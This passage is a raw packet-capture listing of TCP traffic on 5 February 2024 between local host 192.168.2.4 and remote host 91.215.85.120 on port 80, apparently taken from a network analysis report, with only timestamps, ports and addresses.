Feb 5, 2024 10:57:26.770446062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770462990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770469904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770481110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770493984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770497084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770513058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770515919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770534039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770538092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770539045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770551920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770556927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770569086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770575047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770586014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770593882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770605087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770613909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770623922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770638943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770638943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770642996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770658016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770662069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770679951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770680904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770699978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770716906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770716906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770736933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770741940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770742893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770756006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770761967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770775080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770777941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770792007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770797014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770809889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770816088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770828962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770836115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770847082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770855904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770864964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770879984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770879984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770884991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770904064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770904064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770921946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770922899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770936966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770942926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770961046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770977974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.770989895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.770996094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771008015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771014929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771033049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771045923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771051884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771070004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771074057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771090031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771092892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771111965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771123886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771128893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771142006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771147966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771163940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771166086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771183968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771183968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771203041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771209002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771209002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771220922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771238089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771238089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771239996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771256924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771260977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771275043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771280050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771292925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771297932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771311045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771311998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771332026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771334887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771349907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771356106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771369934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771373034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771389008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771389961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771405935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771421909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771424055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771442890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771447897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771447897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771461010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771478891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771487951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771487951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771497965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771507025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771517038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771526098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771536112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771553993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771559000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771559954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771572113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771578074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771589994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771603107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771608114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771621943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771631002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771651030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771651030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771651030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771667004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771675110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771686077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771689892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771703959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771711111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771722078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771727085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771740913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771744013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771759033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771760941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771776915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771776915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771795988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771796942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771815062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771816969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771832943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771832943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771851063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771852016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771868944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771872044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771887064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771892071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771903992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771912098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771922112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771928072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771939993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771946907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771958113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771962881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771975994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.771980047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.771994114 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772001982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772012949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772018909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772031069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772038937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772048950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772066116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772066116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772067070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772083044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772085905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772103071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772104979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772121906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772123098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772141933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772149086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772160053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772177935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772177935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772181034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772196054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772197962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772218943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772222042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772237062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772238970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772253990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772254944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772274017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772274017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772293091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772300005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772311926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772316933 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772330999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772337914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772349119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772355080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772366047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772375107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772384882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772392035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772403002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772412062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772420883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772432089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772439957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772456884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772456884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772458076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772479057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772480965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772496939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772512913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772512913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772512913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772530079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772532940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772547960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772551060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772566080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772573948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772583961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772589922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772600889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772608042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772620916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772629976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772639990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772649050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772660017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772674084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772674084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772679090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772699118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772701979 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772716045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772718906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772733927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772736073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772752047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772768021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772768021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772768021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772785902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772787094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772803068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772804976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772820950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772820950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772846937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772847891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772865057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772865057 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772882938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772891045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772901058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772907972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772919893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772923946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772938013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772943020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772955894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772964001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772974968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.772984028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.772993088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773008108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773008108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773013115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773030043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773032904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773047924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773051977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773066044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773066044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773083925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773102045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773103952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773103952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773122072 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773123980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773140907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773142099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773159027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773175955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773191929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773195982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773210049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773216009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773231030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773241043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773250103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773267984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773271084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773286104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773297071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773303986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773315907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773323059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773339987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773336887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773356915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773375034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773375034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773375034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773392916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773399115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773399115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773411036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773422956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773430109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773447037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773447990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773448944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773464918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773468018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773483992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773489952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773500919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773505926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773520947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773525000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773540020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773541927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773559093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773562908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773578882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773586988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773597956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773607016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773617029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.773626089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.773634911 CET	80	49735	91.215.85.120	192.168.2.4
